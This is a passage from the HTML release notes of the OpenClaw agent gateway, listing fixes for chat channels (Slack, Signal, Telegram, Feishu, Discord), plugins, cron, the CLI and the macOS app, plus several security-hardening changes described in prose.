<li>Security/OpenGrep: add a precise OpenGrep rulepack, source-rule compiler, provenance metadata check, and PR/full scan workflows that validate first-party code and rulepack-only changes while uploading SARIF to GitHub Code Scanning. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4299142364" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69483/hovercard" href="https://github.com/openclaw/openclaw/pull/69483">#69483</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Auto-reply/group chats: fall back to automatic source delivery when a channel precomputes message-tool-only replies but the <code>message</code> tool is unavailable, so Discord/Slack-style group turns do not silently complete without a visible reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355462791" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74868" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74868/hovercard" href="https://github.com/openclaw/openclaw/issues/74868">#74868</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kagura-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kagura-agent">@kagura-agent</a>.</li>
<li>Browser/gateway: share one browser control runtime across the HTTP control server and <code>browser.request</code>, and refresh browser profile config from the source snapshot, so CLI status/start honors configured <code>browser.executablePath</code>, <code>headless</code>, and <code>noSandbox</code> instead of falling back to stale auto-detection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358368287" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75087" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75087/hovercard" href="https://github.com/openclaw/openclaw/issues/75087">#75087</a>; repairs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344146532" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73617" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73617/hovercard" href="https://github.com/openclaw/openclaw/issues/73617">#73617</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/civiltox/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/civiltox">@civiltox</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>Agents/subagents: bound automatic orphan recovery with persisted recovery attempts and a wedged-session tombstone, and teach task maintenance/doctor to reconcile those sessions so restart loops no longer require manual <code>sessions.json</code> surgery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355427349" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74864" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74864/hovercard" href="https://github.com/openclaw/openclaw/issues/74864">#74864</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solosage1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solosage1">@solosage1</a>.</li>
<li>Gateway/startup: skip pre-bind web-fetch provider discovery for credential-free <code>tools.web.fetch</code> config, so Docker/Kubernetes gateways bind even when optional fetch limits are present. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355733598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74896" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74896/hovercard" href="https://github.com/openclaw/openclaw/issues/74896">#74896</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/KoykL/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/KoykL">@KoykL</a>.</li>
<li>Infra/tmp: tolerate concurrent temp-dir permission repairs by rechecking directories that another process already tightened, so parallel ACP subprocess startup no longer throws <code>Unsafe fallback OpenClaw temp dir</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265270151" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66867" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66867/hovercard" href="https://github.com/openclaw/openclaw/issues/66867">#66867</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kane808-AI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kane808-AI">@Kane808-AI</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jarvisz8/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jarvisz8">@jarvisz8</a>.</li>
<li>Slack: require bot-authored room messages with <code>allowBots=true</code> to come from an explicitly channel-allowlisted bot or from a room where an explicit Slack owner is present, so broad bot relays cannot run unattended. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4190405125" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59284" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59284/hovercard" href="https://github.com/openclaw/openclaw/issues/59284">#59284</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andrewhong-translucent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andrewhong-translucent">@andrewhong-translucent</a>.</li>
<li>Signal: bound <code>signal-cli</code> installer release and archive downloads with explicit timeouts, declared and streamed size checks, and partial-file cleanup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4131804194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54153" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54153/hovercard" href="https://github.com/openclaw/openclaw/issues/54153">#54153</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jinduwang1001-max/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jinduwang1001-max">@jinduwang1001-max</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juan-flores077/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juan-flores077">@juan-flores077</a>.</li>
<li>Signal: derive <code>getAttachment</code> HTTP response caps from <code>channels.signal.mediaMaxMb</code> with base64 headroom, so inbound photos and videos no longer drop behind the 1 MiB RPC default. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343275028" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73564" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73564/hovercard" href="https://github.com/openclaw/openclaw/issues/73564">#73564</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heyhudson/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heyhudson">@heyhudson</a>.</li>
<li>Signal: keep the long-lived receive SSE monitor open while idle instead of applying the 10s RPC/check deadline, so <code>signal-cli</code> 0.14.3 event streams no longer reconnect before inbound messages arrive. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354790687" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74741" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74741/hovercard" href="https://github.com/openclaw/openclaw/issues/74741">#74741</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fgabelmannjr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fgabelmannjr">@fgabelmannjr</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/k7n4n5t3w4rt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/k7n4n5t3w4rt">@k7n4n5t3w4rt</a>.</li>
<li>Models/OpenAI Codex: restore <code>openai-codex/gpt-5.4-mini</code> for ChatGPT/Codex OAuth PI runs after live OAuth proof, and align the manifest, forward-compat metadata, docs, and regression tests so stale cron and heartbeat configs resolve again. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351824827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74451" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74451/hovercard" href="https://github.com/openclaw/openclaw/issues/74451">#74451</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xCyda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xCyda">@0xCyda</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvae/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvae">@Marvae</a>.</li>
<li>Memory/runtime-deps: retain the native <code>node-llama-cpp</code> runtime only when local memory search is configured, so packaged installs can repair local embeddings without relying on unreachable global npm installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355063600" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74777" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74777/hovercard" href="https://github.com/openclaw/openclaw/issues/74777">#74777</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LLagoon3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LLagoon3">@LLagoon3</a>.</li>
<li>Plugins/runtime-deps: keep bundled provider policy config loading from staging plugin runtime dependencies, so config reads no longer fail on locked-down <code>/var/lib/openclaw/plugin-runtime-deps</code> directories. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356579392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74971" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74971/hovercard" href="https://github.com/openclaw/openclaw/issues/74971">#74971</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eurojojo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eurojojo">@eurojojo</a>.</li>
<li>Plugins/runtime-deps: always write a dependency map in generated runtime-deps install manifests, so npm does not crash or prune staged bundled-plugin packages when the plan is empty. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356326245" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74949" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74949/hovercard" href="https://github.com/openclaw/openclaw/issues/74949">#74949</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Security/outbound: strip re-formed HTML tags during plain-text sanitization so nested tag fragments cannot leave a CodeQL-detected <code>&lt;script&gt;</code> sequence behind. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Security/secrets: compare credential bytes with padded timing-safe buffers instead of hashing candidate passwords before equality checks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Security/QQBot: sanitize debug log arguments before writing to <code>console.*</code>, so gateway payload fields cannot forge extra log lines when debug logging is enabled. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>QQBot: unify slash command auth and c2cOnly gating in the command registry, pass <code>allowQQBotDataDownloads</code> when sending slash command file attachments, align clear-storage with actual downloads directory, and add <code>/bot-me</code> to display sender user ID. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344118368" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73616" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73616/hovercard" href="https://github.com/openclaw/openclaw/pull/73616">#73616</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cxyhhhhh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cxyhhhhh">@cxyhhhhh</a>.</li>
<li>CLI/agents/status: keep <code>openclaw agents</code>, text <code>agents list</code>, and plain text <code>status</code> on read-only metadata paths so human output no longer preloads plugin runtimes or live channel scans before printing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348784023" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74195" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74195/hovercard" href="https://github.com/openclaw/openclaw/issues/74195">#74195</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Agents/local models: derive context-window guard thresholds from the effective model window with 4k/8k safety floors, so small local models are no longer rejected by fixed 16k/32k preflight cutoffs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4056859962" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42999" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42999/hovercard" href="https://github.com/openclaw/openclaw/issues/42999">#42999</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chengjialu8888/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chengjialu8888">@chengjialu8888</a>.</li>
<li>PDF extraction: resolve PDF.js standard fonts from the installed package root and pass a filesystem path to the Node fallback extractor, so built-in font PDFs render without <code>file://</code> URL lookup failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4111579816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51455" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51455/hovercard" href="https://github.com/openclaw/openclaw/issues/51455">#51455</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4320477272" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70936" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70936/hovercard" href="https://github.com/openclaw/openclaw/pull/70936">#70936</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4134943079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54447" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54447/hovercard" href="https://github.com/openclaw/openclaw/pull/54447">#54447</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4214513630" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62175" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62175/hovercard" href="https://github.com/openclaw/openclaw/pull/62175">#62175</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anyech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anyech">@anyech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JuanRdBO/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JuanRdBO">@JuanRdBO</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solomonneas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solomonneas">@solomonneas</a>.</li>
<li>Media: treat legacy Word/OLE attachments with <code>application/msword</code> or <code>application/x-cfb</code> MIME as binary so printable-looking <code>.doc</code> files are not embedded into prompts as text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4131935972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54176" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54176/hovercard" href="https://github.com/openclaw/openclaw/issues/54176">#54176</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4133810089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54380" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54380/hovercard" href="https://github.com/openclaw/openclaw/pull/54380">#54380</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andyliu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andyliu">@andyliu</a>.</li>
<li>Config: accept documented <code>browser.tabCleanup</code> keys in strict root config validation, so configured tab cleanup no longer fails before runtime reads it. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353207232" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74577" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74577/hovercard" href="https://github.com/openclaw/openclaw/issues/74577">#74577</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lonexreb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lonexreb">@lonexreb</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ezdlp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ezdlp">@ezdlp</a>.</li>
<li>Cron: validate disabled job schedule edits before persisting updates, so invalid cron changes no longer partially mutate stored jobs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351895210" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74459" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74459/hovercard" href="https://github.com/openclaw/openclaw/issues/74459">#74459</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yfge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yfge">@yfge</a>.</li>
<li>CLI/cron: warn when <code>openclaw cron add --message</code> omits a nonblank <code>--agent</code>, including blank agent values and session-key jobs, so scheduled agent-turn jobs make default-agent fallback explicit while system events stay quiet. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4051936623" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42196" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42196/hovercard" href="https://github.com/openclaw/openclaw/issues/42196">#42196</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4052315763" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42245" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/42245/hovercard" href="https://github.com/openclaw/openclaw/pull/42245">#42245</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethanclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethanclaw">@ethanclaw</a>.</li>
<li>CLI/progress: suppress nested progress spinners and line clears while TUI input owns raw stdin, so Crestodian <code>/status</code> no longer disturbs the active input row. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356940813" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75003" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75003/hovercard" href="https://github.com/openclaw/openclaw/pull/75003">#75003</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/velvet-shark/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/velvet-shark">@velvet-shark</a>.</li>
<li>Channels/status: keep Telegram, Slack, and Google Chat read-only allowlist/default-target accessors on config-only paths, so status and channel summaries do not resolve SecretRef-backed runtime credentials. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eusine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eusine">@eusine</a>.</li>
<li>Telegram: use durable message edits for streaming previews instead of native draft state, so generated replies no longer flicker through draft-to-message transitions that look like duplicates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358015486" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75073" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75073/hovercard" href="https://github.com/openclaw/openclaw/pull/75073">#75073</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Active Memory: clarify the deprecated <code>modelFallbackPolicy</code> warning and config help so <code>modelFallback</code> is described as a chain-resolution last resort, not runtime failover. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353454562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74602" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74602/hovercard" href="https://github.com/openclaw/openclaw/pull/74602">#74602</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeffrey701/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeffrey701">@jeffrey701</a>.</li>
<li>Channels/Discord: keep read-only allowlist/default-target accessors from resolving SecretRef-backed bot tokens, so status and channel summaries no longer fail when tokens are only available in gateway runtime. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354779461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74737" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74737/hovercard" href="https://github.com/openclaw/openclaw/pull/74737">#74737</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eusine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eusine">@eusine</a>.</li>
<li>Gateway/sessions: align session abort wait semantics across <code>chat</code>, <code>agent</code>, and <code>sessions</code> server methods so abort RPCs return after the targeted sessions actually halt instead of resolving early while runs are still draining. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354883943" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74751" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74751/hovercard" href="https://github.com/openclaw/openclaw/pull/74751">#74751</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Agents/output: drop copied inbound metadata-only assistant replay turns before provider replay instead of synthesizing a placeholder, so Telegram and other channels cannot receive <code>[assistant copied inbound metadata omitted]</code> as model output. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354851470" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74745" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74745/hovercard" href="https://github.com/openclaw/openclaw/issues/74745">#74745</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adamwdear/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adamwdear">@adamwdear</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvae/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvae">@Marvae</a>.</li>
<li>Doctor/memory: suppress skipped embedding-readiness warnings for key-optional providers such as Ollama and LM Studio while preserving timeout and not-ready diagnostics. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353533459" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74608" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74608/hovercard" href="https://github.com/openclaw/openclaw/issues/74608">#74608</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347037109" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73882" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73882/hovercard" href="https://github.com/openclaw/openclaw/issues/73882">#73882</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Channels/groups: preserve observe-only turn suppression for prepared dispatch paths and restore deprecated channel turn runtime aliases, so passive observer/group flows stay silent while older plugins keep compiling. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Feishu: skip empty-text messages (e.g. <code>{"text":""}</code>) that carry no media, so no blank user turn is written to the session and downstream LLM providers cannot reject the request with "messages must not be empty". (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353876867" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74634" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74634/hovercard" href="https://github.com/openclaw/openclaw/issues/74634">#74634</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xdengli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xdengli">@xdengli</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Feishu/Bitable: clean up newly created placeholder rows whose fields contain only default empty values while preserving meaningful link, attachment, user, number, boolean, and location values during create-app cleanup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347281559" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73920" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73920/hovercard" href="https://github.com/openclaw/openclaw/pull/73920">#73920</a>) Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4043329694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40602" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/40602/hovercard" href="https://github.com/openclaw/openclaw/pull/40602">#40602</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/boat2moon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/boat2moon">@boat2moon</a>.</li>
<li>macOS app: keep attach-only mode and the Debug Settings launchd toggle marker-only, so launching with <code>--attach-only</code>/<code>--no-launchd</code> no longer uninstalls the Gateway LaunchAgent or drops active sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330918206" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72174" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72174/hovercard" href="https://github.com/openclaw/openclaw/pull/72174">#72174</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DolencLuka/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DolencLuka">@DolencLuka</a>.</li>
<li>macOS Canvas: stop auto-reloading the current A2UI host during push/eval/snapshot flows, so pushed A2UI content remains visible instead of returning to the empty Canvas shell. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341063728" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73337" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73337/hovercard" href="https://github.com/openclaw/openclaw/issues/73337">#73337</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gr4via/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gr4via">@Gr4via</a>.</li>
<li>Plugin SDK: restore the deprecated <code>plugin-sdk/zalouser</code> command-auth facade so published Lark/Zalo plugins that import it load on current hosts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354621148" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74702" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74702/hovercard" href="https://github.com/openclaw/openclaw/issues/74702">#74702</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Goron01/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Goron01">@Goron01</a>.</li>
